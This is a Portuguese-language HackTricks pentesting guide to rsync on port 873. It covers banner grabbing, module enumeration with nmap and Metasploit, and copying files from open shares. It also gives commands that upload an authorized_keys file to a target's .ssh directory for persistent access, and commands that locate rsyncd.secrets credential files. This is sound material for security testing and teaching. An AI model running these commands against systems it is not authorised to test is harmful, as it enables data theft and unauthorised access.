5.8 KiB
873 - Pentesting Rsync
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Do wikipedia:
rsync é um utilitário para transferir e sincronizar arquivos de forma eficiente entre um computador e um disco rígido externo e entre computadores em rede comparando os horários de modificação e tamanhos dos arquivos. É comumente encontrado em sistemas operacionais do tipo Unix. O algoritmo rsync é um tipo de codificação delta e é usado para minimizar o uso da rede. Zlib pode ser usado para compressão de dados adicional, e SSH ou stunnel podem ser usados para segurança.
Porta padrão: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeração
Banner e Comunicação Manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerating Pastas Compartilhadas
Módulos Rsync são reconhecidos como compartilhamentos de diretórios que podem estar protegidos com senhas. Para identificar os módulos disponíveis e verificar se eles requerem senhas, os seguintes comandos são utilizados:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Esteja ciente de que alguns compartilhamentos podem não aparecer na lista, possivelmente ocultando-os. Além disso, o acesso a alguns compartilhamentos pode ser restrito a credenciais específicas, indicado por uma mensagem de "Acesso Negado".
Força Bruta
Uso Manual do Rsync
Após obter uma lista de módulos, as ações dependem se a autenticação é necessária. Sem autenticação, listar e copiar arquivos de uma pasta compartilhada para um diretório local é alcançado através de:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Este processo transfere arquivos de forma recursiva, preservando seus atributos e permissões.
Com credenciais, a listagem e o download de uma pasta compartilhada podem ser feitos da seguinte forma, onde um prompt de senha aparecerá:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Para enviar conteúdo, como um arquivo authorized_keys para acesso, use:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Para localizar o arquivo de configuração do rsyncd, execute:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro deste arquivo, um parâmetro secrets file pode apontar para um arquivo contendo nomes de usuário e senhas para autenticação do rsyncd.
Referências
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.